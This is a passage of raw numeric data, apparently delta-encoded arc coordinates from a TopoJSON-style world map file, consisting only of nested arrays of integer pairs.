,[522,10],[571,76],[-92,211],[96,294],[360,576],[-77,261],[-107,203],[-425,286],[-563,201],[178,150],[-294,367],[-245,34],[-219,201],[-149,-175],[-503,-76],[-1011,132],[-588,174],[-450,89],[-231,207],[290,270],[-394,2],[-88,599],[213,528],[286,241],[717,158],[-204,-382],[219,-369],[256,477],[704,242],[477,-611],[-42,-387],[550,172]],[[23749,94380],[579,-20],[530,-144],[-415,-526],[-331,-115],[-298,-442],[-317,22],[-173,519],[4,294],[145,251],[276,161]],[[15873,95551],[472,442],[570,383],[426,-9],[381,87],[-38,-454],[-214,-205],[-259,-29],[-517,-252],[-444,-91],[-377,128]],[[13136,82508],[267,47],[-84,-671],[242,-475],[-111,1],[-167,270],[-103,272],[-140,184],[-51,260],[16,188],[131,-76]],[[20696,97433],[546,-81],[751,-215],[212,-281],[108,-247],[-453,66],[-457,192],[-619,21],[268,176],[-335,142],[-21,227]],[[15692,79240],[-140,-82],[-456,269],[-84,209],[-248,207],[-50,168],[-286,107],[-107,321],[24,137],[291,-129],[171,-89],[261,-63],[94,-204],[138,-280],[277,-244],[115,-327]],[[16239,94566],[397,-123],[709,-33],[270,-171],[298,-249],[-349,-149],[-681,-415],[-344,-414],[0,-257],[-731,-285],[-147,259],[-641,312],[119,250],[192,432],[241,388],[-272,362],[939,93]],[[20050,95391],[247,99],[291,-26],[49,-289],[-169,-281],[-940,-91],[-701,-256],[-423,-14],[-35,193],[577,261],[-1255,-70],[-389,106],[379,577],[262,165],[782,-199],[493,-350],[485,-45],[-397,565],[255,215],[286,-68],[94,-282],[109,-210]],[[20410,93755],[311,-239],[175,-575],[86,-417],[466,-293],[502,-279],[-31,-260],[-456,-48],[178,-227],[-94,-217],[-503,93],[-478,160],[-322,-36],[-522,-201],[-704,-88],[-494,-56],[-151,279],[-379,161],[-246,-66],[-343,468],[185,62],[429,101],[392,-26],[362,103],[-537,138],[-594,-47],[-394,12],[-146,217],[644,237],[-428,-9],[-485,156],[233,443],[193,235],[744,359],[284,-114],[-139,-277],[618,179],[386,-298],[314,302],[254,-194],[227,-580],[140,244],[-197,606],[244,86],[276,-94]],[[22100,93536],[-306,386],[329,286],[331,-124],[496,75],[72,-172],[-259,-283],[420,-254],[-50,-532],[-455,-229],[-268,50],[-192,225],[-690,456],[5,189],[567,-73]],[[20389,94064],[372,24],[211,-130],[-244,-390],[-434,413],[95,83]],[[22639,95907],[212,-273],[9,-303],[-127,-440],[-458,-60],[-298,94],[5,345],[-455,-46],[-18,457],[299,-18],[419,201],[390,-34],[22,77]],[[23329,98201],[192,180],[285,42],[-122,135],[646,30],[355,-315],[468,-127],[455,-112],[220,-390],[334,-190],[-381,-176],[-513,-445],[-492,-42],[-575,76],[-299,240],[4,215],[220,157],[-508,-4],[-306,196],[-176,268],[193,262]],[[24559,98965],[413,112],[324,19],[545,96],[409,220],[344,-30],[300,-166],[211,319],[367,95],[498,65],[849,24],[148,-63],[802,100],[601,-38],[602,-37],[742,-47],[597,-75],[508,-161],[-12,-157],[-678,-257],[-672,-119],[-251,-133],[605,3],[-656,-358],[-452,-167],[-476,-483],[-573,-98],[-177,-120],[-841,-64],[383,-74],[-192,-105],[230,-292],[-264,-202],[-429,-167],[-132,-232],[-388,-176],[39,-134],[475,23],[6,-144],[-742,-355],[-726,163],[-816,-91],[-414,71],[-525,31],[-35,284],[514,133],[-137,427],[170,41],[742,-255],[-379,379],[-450,113],[225,229],[492,141],[79,206],[-392,231],[-118,304],[759,-26],[220,-64],[433,216],[-625,68],[-972,-38],[-491,201],[-232,239],[-324,173],[-61,202]],[[29106,90427],[-180,-174],[-312,-30],[-69,289],[118,331],[255,82],[217,-163],[3,-253],[-32,-82]],[[23262,91636],[169,-226],[-173,-207],[-374,179],[-226,-65],[-380,266],[245,183],[194,256],[295,-168],[166,-106],[84,-112]],[[32078,80046],[96,49],[365,-148],[284,-247],[8,-108],[-135,-11],[-360,186],[-258,279]],[[32218,78370],[97,-288],[202,-79],[257,16],[-137,-242],[-102,-38],[-353,250],[-69,198],[105,183]],[[31350,77248],[48,-194],[-296,-286],[-286,-204],[-293,-175],[-147,-351],[-47,-133],[-3,-313],[92,-313],[115,-15],[-29,216],[83,-131],[-22,-169],[-188,-96],[-133,11],[-205,-103],[-121,-29],[-162,-29],[-231,-171],[408,111],[82,-112],[-389,-177],[-177,-1],[8,72],[-84,-164],[82,-27],[-60,-424],[-203,-455],[-20,152],[-61,30],[-91,148],[57,-318],[69,-105],[5,-223],[-89,-230],[-157,-472],[-25,24],[86,402],[-142,225],[-33,491],[-53,-255],[59,-375],[-183,93],[191,-191],[12,-562],[79,-41],[29,-204],[39,-591],[-176,-439],[-288,-175],[-182,-346],[-139,-38],[-141,-217],[-39,-199],[-305,-383],[-157,-281],[-131,-351],[-43,-419],[50,-411],[92,-505],[124,-418],[1,-256],[132,-685],[-9,-398],[-12,-230],[-69,-361],[-83,-75],[-137,72],[-44,259],[-105,136],[-148,508],[-129,452],[-42,231],[57,393],[-77,325],[-217,494],[-108,90],[-281,-268],[-49,30],[-135,275],[-174,147],[-314,-75],[-247,66],[-212,-41],[-114,-92],[50,-157],[-5,-240],[59,-117],[-53,-77],[-103,87],[-104,-112],[-202,18],[-207,312],[-242,-73],[-202,137],[-173,-42],[-234,-138],[-253,-438],[-276,-255],[-152,-282],[-63,-266],[-3,-407],[14,-284],[52,-201]],[[23016,65864],[-108,-18],[-197,130],[-217,184],[-78,277],[-61,414],[-164,337],[-96,346],[-139,404],[-196,236],[-227,-11],[-175,-467],[-230,177],[-144,178],[-69,325],[-92,309],[-165,260],[-142,186],[-102,210],[-481,0],[0,-244],[-221,0],[-552,-4],[-634,416],[-419,287],[26,116],[-353,-64],[-316,-46]],[[17464,69802],[-46,302],[-180,340],[-130,71],[-30,169],[-156,30],[-100,159],[-258,59],[-71,95],[-33,324],[-270,594],[-231,821],[10,137],[-123,195],[-215,495],[-38,482],[-148,323],[61,489],[-10,507],[-89,453],[109,557],[34,536],[33,536],[-50,792],[-88,506],[-80,274],[33,115],[402,-200],[148,-558],[69,156],[-45,484],[-94,485]],[[6833,62443],[49,-51],[45,-79],[71,-207],[-7,-33],[-108,-126],[-89,-92],[-41,-99],[-69,84],[8,165],[-46,216],[14,65],[48,97],[-19,116],[16,55],[21,-11],[107,-100]],[[6668,62848],[-23,-71],[-94,-43],[-47,125],[-32,48],[-3,37],[27,50],[99,-56],[73,-90]],[[6456,63091],[-9,-63],[-149,17],[21,72],[137,-26]],[[6104,63411],[23,-38],[80,-196],[-15,-34],[-19,8],[-97,21],[-35,133],[-11,24],[74,82]],[[5732,63705],[5,-138],[-33,-58],[-93,107],[14,43],[43,58],[64,-12]],[[3759,86256],[220,-54],[27,-226],[-171,-92],[-182,110],[-168,161],[274,101]],[[7436,84829],[185,-40],[117,-183],[-240,-281],[-277,-225],[-142,152],[-43,277],[252,210],[148,90]],[[13740,82958],[-153,223],[-245,188],[-78,515],[-358,478],[-150,558],[-267,38],[-441,15],[-326,170],[-574,613],[-266,112],[-486,211],[-385,-51],[-546,272],[-330,252],[-309,-125],[58,-411],[-154,-38],[-321,-123],[-245,-199],[-308,-126],[-39,348],[125,580],[295,182],[-76,148],[-354,-329],[-190,-394],[-400,-420],[203,-287],[-262,-424],[-299,-248],[-278,-180],[-69,-261],[-434,-305],[-87,-278],[-325,-252],[-191,45],[-259,-165],[-282,-201],[-231,-197],[-477,-169],[-43,99],[304,276],[271,182],[296,324],[345,66],[137,243],[385,353],[62,119],[205,208],[48,448],[141,349],[-320,-179],[-90,102],[-150,-215],[-181,300],[-75,-212],[-104,294],[-278,-236],[-170,0],[-24,352],[50,216],[-179,211],[-361,-113],[-235,277],[-190,142],[-1,334],[-214,252],[108,340],[226,330],[99,303],[225,43],[191,-94],[224,285],[201,-51],[212,183],[-52,270],[-155,106],[205,228],[-170,-7],[-295,-128],[-85,-131],[-219,131],[-392,-67],[-407,142],[-117,238],[-351,343],[390,247],[620,289],[228,0],[-38,-296],[586,23],[-225,366],[-342,225],[-197,296],[-267,252],[-381,187],[155,309],[493,19],[350,270],[66,287],[284,281],[271,68],[526,262],[256,-40],[427,315],[421,-124],[201,-266],[123,114],[469,-35],[-16,-136],[425,-101],[283,59],[585,-186],[534,-56],[214,-77],[370,96],[421,-177],[302,-83]],[[2297,88264],[171,-113],[173,61],[225,-156],[276,-79],[-23,-64],[-211,-125],[-211,128],[-106,107],[-245,-34],[-66,52],[17,223]],[[74266,79657],[-212,-393],[-230,-56],[-13,-592],[-155,-267],[-551,194],[-200,-1058],[-143,-131],[-550,-236],[250,-1026],[-190,-154],[22,-337]],[[72294,75601],[-171,87],[-140,212],[-412,62],[-461,16],[-100,-65],[-396,248],[-158,-122],[-43,-349],[-457,204],[-183,-84],[-62,-259]],[[69711,75551],[-159,-109],[-367,-412],[-121,-422],[-104,-4],[-76,280],[-353,19],[-57,484],[-135,4],[21,593],[-333,431],[-476,-46],[-326,-86],[-265,533],[-227,223],[-431,423],[-52,51],[-715,-349],[11,-2178]],[[65546,74986],[-142,-29],[-195,463],[-188,166],[-315,-123],[-123,-197]],[[64583,75266],[-15,144],[68,246],[-53,206],[-322,202],[-125,530],[-154,150],[-9,192],[270,-56],[11,432],[236,96],[243,-88],[50,576],[-50,365],[-278,-28],[-236,144],[-321,-260],[-259,-124]],[[63639,77993],[-142,96],[29,304],[-177,395],[-207,-17],[-235,401],[160,448],[-81,120],[222,649],[285,-342],[35,431],[573,643],[434,15],[612,-409],[329,-239],[295,249],[440,12],[356,-306],[80,175],[391,-25],[69,280],[-450,406],[267,288],[-52,161],[266,153],[-200,405],[127,202],[1039,205],[136,146],[695,218],[250,245],[499,-127],[88,-612],[290,144],[356,-202],[-23,-322],[267,33],[696,558],[-102,-185],[355,-457],[620,-1500],[148,309],[383,-340],[399,151],[154,-106],[133,-341],[194,-115],[119,-251],[358,79],[147,-361]],[[69711,75551],[83,-58],[-234,-382],[205,-223],[198,147],[329,-311],[-355,-425],[-212,58]],[[69725,74357],[-114,-15],[-40,164],[58,274],[-371,-137],[-89,-380],[-132,-326],[-232,28],[-72,-261],[204,-140],[60,-440],[-156,-598]],[[68841,72526],[-210,124],[-154,4]],[[68477,72654],[7,362],[-369,253],[-291,289],[-181,278],[-317,408],[-137,609],[-93,108],[-301,-27],[-106,121],[-30,471],[-374,312],[-234,-343],[-237,-204],[45,-297],[-313,-8]],[[89166,49043],[482,-407],[513,-338],[192,-302],[154,-297],[43,-349],[462,-365],[68,-313],[-256,-64],[62,-393],[248,-388],[180,-627],[159,20],[-11,-262],[215,-100],[-84,-111],[295,-249],[-30,-171],[-184,-41],[-69,153],[-238,66],[-281,89],[-216,377],[-158,325],[-144,517],[-362,259],[-235,-169],[-170,-195],[35,-436],[-218,-203],[-155,99],[-288,25]],[[89175,45193],[-4,1925],[-5,1925]],[[92399,48417],[106,-189],[33,-307],[-87,-157],[-52,348],[-65,229],[-126,193],[-158,252],[-200,174],[77,143],[150,-166],[94,-130],[117,-142],[111,-248]],[[92027,47129],[-152,-144],[-142,-138],[-148,1],[-228,171],[-158,165],[23,183],[249,-86],[152,46],[42,283],[40,15],[27,-314],[158,45],[78,202],[155,211],[-30,348],[166,11],[56,-97],[-5,-327],[-93,-361],[-146,-48],[-44,-166]],[[92988,47425],[84,-134],[135,-375],[131,-200],[-39,-166],[-78,-59],[-120,227],[-122,375],[-59,450],[38,57],[30,-175]],[[89175,45193],[-247,485],[-282,118],[-69,-168],[-352,-18],[118,481],[175,164],[-72,642],[-134,496],[-538,500],[-229,50],[-417,546],[-82,-287],[-107,-52],[-63,216],[-1,257],[-212,290],[299,213],[198,-11],[-23,156],[-407,1],[-110,352],[-248,109],[-117,293],[374,143],[142,192],[446,-242],[44,-220],[78,-955],[287,-354],[232,627],[319,356],[247,1],[238,-206],[206,-212],[298,-113]],[[84713,45326],[28,-117],[5,-179]],[[84746,45030],[-181,-441],[-238,-130],[-33,71],[25,201],[119,360],[275,235]],[[87280,46506],[-27,445],[49,212],[58,200],[63,-173],[0,-282],[-143,-402]],[[82744,53024],[-158,-533],[204,-560],[-48,-272],[312,-546],[-329,-70],[-93,-403],[12,-535],[-267,-404],[-7,-589],[-107,-903],[-41,210],[-316,-266],[-110,361],[-198,34],[-139,189],[-330,-212],[-101,285],[-182,-32],[-229,68],[-43,793],[-138,164],[-134,505],[-38,517],[32,548],[165,392]],[[80461,51765],[47,-395],[190,-334],[179,121],[177,-43],[162,299],[133,52],[263,-166],[226,126],[143,822],[107,205],[96,672],[319,0],[241,-100]],[[85936,48924],[305,-172],[101,-452],[-234,244],[-232,49],[-157,-39],[-192,21],[65,325],[344,24]],[[85242,48340],[-192,108],[-54,254],[281,29],[69,-195],[-104,-196]],[[85536,51864],[20,-322],[164,-52],[26,-241],[-15,-517],[-143,58],[-42,-359],[114,-312],[-78,-71],[-112,374],[-82,755],[56,472],[92,215]],[[84146,51097],[319,25],[275,429],[48,-132],[-223,-587],[-209,-113],[-267,115],[-463,-29],[-243,-85],[-39,-447],[248,-526],[150,268],[518,201],[-22,-272],[-121,86],[-121,-347],[-245,-229],[263,-757],[-50,-203],[249,-682],[-2,-388],[-148,-173],[-109,207],[134,484],[-273,-229],[-69,164],[36,228],[-200,346],[21,576],[-186,-179],[24,-689],[11,-846],[-176,-85],[-119,173],[79,544],[-43,570],[-117,4],[-86,405],[115,387],[40,469],[139,891],[58,243],[237,439],[217,-174],[350,-82]],[[83414,44519],[-368,414],[259,116],[146,-180],[97,-180],[-17,-159],[-117,-11]],[[83705,45536],[185,45],[249,216],[-41,-328],[-417,-168],[-370,73],[0,216],[220,123],[174,-177]],[[82849,45639],[172,48],[69,-251],[-321,-119],[-193,-79],[-149,5],[95,340],[153,5],[74,209],[100,-158]],[[80134,46785],[38,-210],[533,-59],[61,244],[515,-284],[101,-383],[417,-108],[341,-351],[-317,-225],[-306,238],[-251,-16],[-288,44],[-260,106],[-322,225],[-204,59],[-116,-74],[-506,243],[-48,254],[-255,44],[191,564],[337,-35],[224,-231],[115,-45]],[[78991,49939],[47,-412],[97,-330],[204,-52],[135,-374],[-70,-735],[-11,-914],[-308,-12],[-234,494],[-356,482],[-119,358],[-210,481],[-138,443],[-212,827],[-244,493],[-81,508],[-103,461],[-250,372],[-145,506],[-209,330],[-290,652],[-24,300],[178,-24],[430,-114],[246,-577],[215,-401],[153,-246],[263,-635],[283,-9],[233,-405],[161,-495],[211,-270],[-111,-482],[159,-205],[100,-15]],[[30935,19481],[106,-274],[139,-443],[361,-355],[389,-147],[-125,-296],[-264,-29],[-141,208]],[[31400,18145],[-168,16],[-297,1],[0,1319]],[[33993,32727],[-70,-473],[-74,-607],[3,-588],[-61,-132],[-21,-382]],[[33770,30545],[-19,-308],[353,-506],[-38,-408],[173,-257],[-14,-289],[-267,-757],[-412,-317],[-557,-123],[-305,59],[59,-352],[-57,-442],[51,-298],[-167,-208],[-284,-82],[-267,216],[-108,-155],[39,-587],[188,-178],[152,186],[82,-307],[-255,-183],[-223,-367],[-41,-595],[-66,-316],[-262,-2],[-218,-302],[-80,-443],[273,-433],[266,-119],[-96,-531],[-328,-333],[-180,-692],[-254,-234],[-113,-276],[89,-614],[185,-342],[-117,30]],[[30952,19680],[-257,93],[-672,79],[-115,344],[6,443],[-185,-38],[-98,214],[-24,626],[213,260],[88,375],[-33,299],[148,504],[101,782],[-30,347],[122,112],[-30,223],[-129,118],[92,248],[-126,224],[-65,682],[112,120],[-47,720],[65,605],[75,527],[166,215],[-84,576],[-1,543],[210,386],[-7,494],[159,576],[1,544],[-72,108],[-128,1020],[171,607],[-27,572],[100,537],[182,555],[196,367],[-83,232],[58,190],[-9,985],[302,291],[96,614],[-34,148]],[[31359,37147],[231,534],[364,-144],[163,-427],[109,475],[316,-24],[45,-127]],[[32587,37434],[511,-964],[227,-89],[339,-437],[286,-231],[40,-261],[-273,-898],[280,-160],[312,-91],[220,95],[252,453],[45,521]],[[34826,35372],[138,114],[139,-341],[-6,-472],[-234,-326],[-186,-241],[-314,-573],[-370,-806]],[[31400,18145],[-92,-239],[-238,-183],[-137,19],[-164,48],[-202,177],[-291,86],[-350,330],[-283,317],[-383,662],[229,-124],[390,-395],[369,-212],[143,271],[90,405],[256,244],[198,-70]],[[30669,40193],[136,-402],[37,-426],[146,-250],[-88,-572],[150,-663],[109,-814],[200,81]],[[30952,19680],[-247,4],[-134,-145],[-250,-213],[-45,-552],[-118,-14],[-313,192],[-318,412],[-346,338],[-87,374],[79,346],[-140,393],[-36,1007],[119,568],[293,457],[-422,172],[265,522],[94,982],[309,-208],[145,1224],[-186,157],[-87,-738],[-175,83],[87,845],[95,1095],[127,404],[-80,576],[-22,666],[117,19],[170,954],[192,945],[118,881],[-64,885],[83,487],[-34,730],[163,721],[50,1143],[89,1227],[87,1321],[-20,967],[-58,832]],[[30452,39739],[143,151],[74,303]],[[58538,45652],[-109,60],[-373,-99],[-75,-71],[-79,-377],[62,-261],[-49,-699],[-34,-593],[75,-105],[194,-230],[76,107],[23,-637],[-212,5],[-114,325],[-103,252],[-213,82],[-62,310],[-170,-187],[-222,83],[-93,268],[-176,55],[-131,-15],[-15,184],[-96,15]],[[56642,44124],[-127,35],[-172,-89],[-121,15],[-68,-54],[15,703],[-93,219],[-21,363],[41,356],[-56,228],[-5,372],[-337,-5],[24,213],[-142,-2],[-15,-103],[-172,-23],[-69,-344],[-42,-148],[-154,83],[-91,-83],[-184,-47],[-106,309],[-64,191],[-80,354],[-68,440],[-820,8],[-98,-71],[-80,11],[-115,-79]],[[53422,46976],[-39,183]],[[53383,47159],[71,62],[9,258],[45,152],[101,124]],[[53609,47755],[73,-60],[95,226],[152,-6],[17,-167],[104,-105],[164,370],[161,289],[71,189],[-10,486],[121,574],[127,304],[183,285],[32,189],[7,216],[45,205],[-14,335],[34,524],[55,368],[83,316],[16,357]],[[55125,52650],[25,412],[108,300],[149,190],[229,-200],[177,-218],[203,-59],[207,-115],[83,357],[38,46],[127,-60],[309,295],[110,-125],[90,18],[41,143],[104,51],[209,-62],[178,-14],[91,63]],[[57603,53672],[169,-488],[124,-71],[75,99],[128,-39],[155,125],[66,-252],[244,-393]],[[58564,52653],[-16,-691],[111,-80],[-89,-210],[-107,-157],[-106,-308],[-59,-274],[-15,-475],[-65,-225],[-2,-446]],[[58216,49787],[-80,-165],[-10,-351],[-38,-46],[-26,-323]],[[58062,48902],[70,-268],[17,-713]],[[61551,49585],[-165,488],[-3,2152],[243,670]],[[61626,52895],[76,186],[178,11],[247,417],[362,26],[785,1773]],[[63274,55308],[194,493],[125,363],[0,308],[0,596],[1,244],[2,9]],[[63596,57321],[89,12],[128,88],[147,59],[132,202],[105,2],[6,-163],[-25,-344],[1,-310],[-59,-214],[-78,-639],[-134,-659],[-172,-755],[-238,-866],[-237,-661],[-327,-806],[-278,-479],[-415,-586],[-259,-450],[-304,-715],[-64,-312],[-63,-140]],[[59417,50018],[-3,627],[80,239],[137,391],[101,431],[-123,678],[-32,296],[-132,411]],[[59445,53091],[171,352],[188,390]],[[59804,53833],[145,-99],[0,-332],[95,-194],[193,0],[352,-502],[87,-6],[65,16],[62,-68],[185,-47],[82,247],[254,247],[112,-200],[190,0]],[[61551,49585],[-195,-236],[-68,-246],[-104,-44],[-40,-416],[-89,-238],[-54,-393],[-112,-195]],[[56824,55442],[-212,258],[-96,170],[-18,184],[45,246],[-1,241],[-160,369],[-31,253]],[[56351,57163],[3,143],[-102,174],[-3,343],[-58,228],[-98,-34],[28,217],[72,246],[-32,245],[92,181],[-58,138],[73,365],[127,435],[240,-41],[-14,2345]],[[56621,62148],[3,248],[320,2],[0,1180]],[[56944,63578],[1117,0],[1077,0],[1102,0]],[[60240,63578],[90,-580],[-61,-107],[40,-608],[102,-706],[106,-145],[152,-219]],[[60669,61213],[-141,-337],[-204,-97],[-88,-181],[-27,-393],[-120,-868],[30,-236]],[[60119,59101],[-45,-508],[-112,-582],[-168,-293],[-119,-451],[-28,-241],[-132,-166],[-82,-618],[4,-531]],[[59437,55711],[-3,460],[-39,12],[5,294],[-33,203],[-143,233],[-34,426],[34,436],[-129,41],[-19,-132],[-167,-30],[67,-173],[23,-355],[-152,-324],[-138,-426],[-144,-61],[-233,345],[-105,-122],[-29,-172],[-143,-112],[-9,-122],[-277,0],[-38,122],[-200,20],[-100,-101],[-77,51],[-143,344],[-48,163],[-200,-81],[-76,-274],[-72,-528],[-95,-111],[-85,-65],[189,-230]],[[56351,57163],[-176,-101],[-141,-239],[-201,-645],[-261,-273],[-269,36],[-78,-54],[28,-208],[-145,-207],[-118,-230],[-350,-226],[-69,134],[-46,11],[-52,-152],[-229,-44]],[[54244,54965],[43,160],[-87,407],[-39,245],[-121,100],[-164,345],[60,279],[127,-60],[78,42],[155,-6],[-151,537],[10,393],[-18,392],[-111,378]],[[54026,58177],[28,279],[-178,13],[0,380],[-115,219],[120,778],[354,557],[15,769],[107,1199],[60,254],[-116,203],[-4,188],[-104,153],[-68,919]],[[54125,64088],[280,323],[1108,-1132],[1108,-1131]],[[30080,62227],[24,-321],[-21,-228],[-68,-99],[71,-177],[-5,-161]],[[30081,61241],[-185,100],[-131,-41],[-169,43],[-130,-110],[-149,184],[24,190],[256,-82],[210,-47],[100,131],[-127,256],[2,226],[-175,92],[62,163],[170,-26],[241,-93]],[[30080,62227],[34,101],[217,-3],[165,-152],[73,15],[50,-209],[152,11],[-9,-176],[124,-21],[136,-217],[-103,-240],[-132,128],[-127,-25],[-92,28],[-50,-107],[-106,-37],[-43,144],[-92,-85],[-111,-405],[-71,94],[-14,170]],[[76049,98451],[600,133],[540,-297],[640,-572],[-69,-531],[-606,-73],[-773,170],[-462,226],[-213,423],[-379,117],[722,404]],[[78565,97421],[704,-336],[-82,-240],[-1566,-228],[507,776],[229,66],[208,-38]],[[88563,95563],[734,-26],[1004,-313],[-219,-439],[-1023,16],[-461,-139],[-550,384],[149,406],[366,111]],[[91172,95096],[697,-155],[-321,-234],[-444,53],[-516,233],[66,192],[518,-89]],[[88850,93928],[263,234],[348,54],[394,-226],[34,-155],[-421,-4],[-569,66],[-49,31]],[[62457,98194],[542,107],[422,8],[57,-160],[159,142],[262,97],[412,-129],[-107,-90],[-373,-78],[-250,-45],[-39,-97],[-324,-98],[-301,140],[158,185],[-618,18]],[[56314,82678],[-511,-9],[-342,67]],[[55461,82736],[63,260],[383,191]],[[55907,83187],[291,-103],[123,-94],[-30,-162],[23,-150]],[[64863,94153],[665,518],[-75,268],[621,312],[917,380],[925,110],[475,220],[541,76],[193,-233],[-187,-184],[-984,-293],[-848,-282],[-863,-562],[-414,-577],[-435,-568],[56,-491],[531,-484],[-164,-52],[-907,77],[-74,262],[-503,158],[-40,320],[284,126],[-10,323],[551,503],[-255,73]],[[89698,82309],[96,-569],[-7,-581],[114,-597],[280,-1046],[-411,195],[-171,-854],[271,-605],[-8,-413],[-211,356],[-182,-457],[-51,496],[31,575],[-32,638],[64,446],[13,790],[-163,581],[24,808],[257,271],[-110,274],[123,83],[73,-391]],[[86327,75524],[-39,104]],[[86288,75628],[-2,300],[142,16],[40,698],[-73,506],[238,208],[338,-104],[186,575],[96,647],[107,216],[146,532],[-459,-175],[-240,-233],[-423,1],[-112,555],[-329,420],[-483,189],[-103,579],[-97,363],[-104,254],[-172,596],[-244,217],[-415,176],[-369,-16],[-345,-106],[-229,-294],[152,-141],[4,-326],[-155,-189],[-251,-627],[3,-260],[-392,-373],[-333,223]],[[82410,80055],[-331,-49],[-146,198],[-166,63],[-407,-416],[-366,-98],[-255,-146],[-350,96],[-258,-6],[-168,302],[-272,284],[-279,78],[-351,-78],[-263,-109],[-394,248],[-53,443],[-327,152],[-252,69],[-311,244],[-288,-612],[113,-348],[-270,-411],[-402,148],[-277,22],[-186,276],[-289,8],[-242,182],[-423,-278],[-530,-509],[-292,-102]],[[74375,79706],[-109,-49]],[[63639,77993],[-127,-350],[-269,-97],[-276,-610],[252,-561],[-27,-398],[303,-696]],[[63495,75281],[-166,-238],[-48,-150],[-122,40],[-191,359],[-78,20]],[[62890,75312],[-175,137],[-85,242],[-259,124],[-169,-93],[-48,110],[-378,283],[-409,96],[-235,101],[-34,-70]],[[61098,76242],[-354,499],[-317,223],[-240,347],[202,95],[231,494],[-156,234],[410,241],[-8,129],[-249,-95]],[[60617,78409],[9,262],[143,165],[269,43],[44,197],[-62,326],[113,310],[-3,173],[-410,192],[-162,-6],[-172,277],[-213,-94],[-352,208],[6,116],[-99,256],[-222,29],[-23,183],[70,120],[-178,334],[-288,-57],[-84,30],[-70,-134],[-104,23]],[[58829,81362],[-68,379],[-66,196],[54,55],[224,-20],[108,129],[-80,157],[-187,104],[16,107],[-113,108],[-174,387],[60,159],[-27,277],[-272,141],[-146,-70],[-39,146],[-293,149]],[[57826,83766],[-89,348],[-24,287],[-134,136]],[[57579,84537],[120,187],[-83,551],[198,341],[-42,103]],[[57772,85719],[316,327],[-291,280]],[[57797,86326],[594,755],[258,341],[105,301],[-411,405],[113,385],[-250,440],[187,506],[-323,673],[256,445],[-425,394],[41,414]],[[57942,91385],[224,54],[473,237]],[[58639,91676],[286,206],[456,-358],[761,-140],[1050,-668],[213,-281],[18,-393],[-308,-311],[-454,-157],[-1240,449],[-204,-75],[453,-433],[18,-274],[18,-604],[358,-180],[217,-153],[36,286],[-168,254],[177,224],[672,-368],[233,144],[-186,433],[647,578],[256,-34],[260,-206],[161,406],[-231,352],[136,353],[-204,367],[777,-190],[158,-331],[-351,-73],[1,-328],[219,-203],[429,128],[68,377],[580,282],[970,507],[209,-29],[-273,-359],[344,-61],[199,202],[521,16],[412,245],[317,-356],[315,391],[-291,343],[145,195],[820,-179],[385,-185],[1006,-675],[186,309],[-282,313],[-8,125],[-335,58],[92,280],[-149,461],[-8,189],[512,535],[183,537],[206,116],[736,-156],[57,-328],[-263,-479],[173,-189],[89,-413],[-63,-809],[307,-362],[-120,-395],[-544,-839],[318,-87],[110,213],[306,151],[74,293],[240,281],[-162,336],[130,390],[-304,49],[-67,328],[222,593],[-361,482],[497,398],[-64,421],[139,13],[145,-328],[-109,-570],[297,-108],[-127,426],[465,233],[577,31],[513,-337],[-247,492],[-28,630],[483,119],[669,-26],[602,77],[-226,309],[321,388],[319,16],[540,293],[734,79],[93,162],[729,55],[227,-133],[624,314],[510,-10],[77,255],[265,252],[656,242],[476,-191],[-378,-146],[629,-90],[75,-292],[254,143],[812,-7],[626,-289],[223,-221],[-69,-307],[-307,-175],[-730,-328],[-209,-175],[345,-83],[410,-149],[251,112],[141,-379],[122,153],[444,93],[892,-97],[67,-276],[1162,-88],[15,451],[590,-104],[443,4],[449,-312],[128,-378],[-165,-247],[349,-465],[437,-240],[268,620],[446,-266],[473,159],[538,-182],[204,166],[455,-83],[-201,549],[367,256],[2509,-384],[236,-351],[727,-451],[1122,112],[553,-98],[231,-244],[-33,-432],[342,-168],[372,121],[492,15],[525,-116],[526,66],[484,-526],[344,189],[-224,378],[123,262],[886,-165],[578,36],[799,-282],[-99610,-258],[681,-451],[728,-588],[-24,-367],[187,-147],[-64,429],[754,-88],[544,-553],[-276,-257],[-455,-61],[-7,-578],[-111,-122],[-260,17],[-212,206],[-369,172],[-62,257],[-283,96],[-315,-76],[-151,207],[60,219],[-333,-140],[126,-278],[-158,-251],[99997,-3],[-357,-260],[-360,44],[250,-315],[166,-487],[128,-159],[32,-244],[-71,-157],[-518,129],[-777,-445],[-247,-69],[-425,-415],[-403,-362],[-102,-269],[-397,409],[-724,-464],[-126,219],[-268,-253],[-371,81],[-90,-388],[-333,-572],[10,-239],[316,-132],[-37,-860],[-258,-22],[-119,-494],[116,-255],[-486,-302],[-96,-674],[-415,-144],[-83,-600],[-400,-551],[-103,407],[-119,862],[-155,1313],[134,819],[234,353],[14,276],[432,132],[496,744],[479,608],[499,471],[223,833],[-337,-50],[-167,-487],[-705,-649],[-227,727],[-717,-201],[-696,-990],[230,-362],[-620,-154],[-430,-61],[20,427],[-431,90],[-344,-291],[-850,102],[-914,-175],[-899,-1153],[-1065,-1394],[438,-74],[136,-370],[270,-132],[178,295],[305,-38],[401,-650],[9,-503],[-217,-590],[-23,-705],[-126,-945],[-418,-855],[-94,-409],[-377,-688],[-374,-682],[-179,-349],[-370,-346],[-175,-8],[-175,287],[-373,-432],[-43,-197]],[[0,92833],[36,24],[235,-1],[402,-169],[-24,-81],[-286,-141],[-363,-36],[99694,-30],[-49,187],[-99645,247]],[[59287,77741],[73,146],[198,-127],[89,-23],[36,-117],[42,-18]],[[59725,77602],[2,-51],[136,-142],[284,35],[-55,-210],[-304,-103],[-377,-342],[-154,121],[61,277],[-304,173],[50,113],[265,197],[-42,71]],[[28061,66408],[130,47],[184,-18],[8,-153],[-303,-95],[-19,219]],[[28391,66555],[220,-265],[-48,-420],[-51,75],[4,309],[-124,234],[-1,67]],[[28280,65474],[84,-23],[97,-491],[1,-343],[-68,-29],[-70,340],[-104,171],[60,375]],[[33000,19946],[333,354],[236,-148],[167,237],[222,-266],[-83,-207],[-375,-177],[-125,207],[-236,-266],[-139,266]],[[54206,97653],[105,202],[408,20],[350,-206],[915,-440],[-699,-233],[-155,-435],[-243,-111],[-132,-490],[-335,-23],[-598,361],[252,210],[-416,170],[-541,499],[-216,463],[757,212],[152,-207],[396,8]],[[57942,91385],[117,414],[-356,235],[-431,-200],[-137,-433],[-265,-262],[-298,143],[-362,-29],[-309,312],[-167,-156]],[[55734,91409],[-172,-24],[-41,-389],[-523,95],[-74,-329],[-267,2],[-183,-421],[-278,-655],[-431,-831],[101,-202],[-97,-234],[-275,10],[-180,-554],[17,-784],[177,-300],[-92,-694],[-231,-405],[-122,-341]],[[53063,85353],[-187,363],[-548,-684],[-371,-138],[-384,301],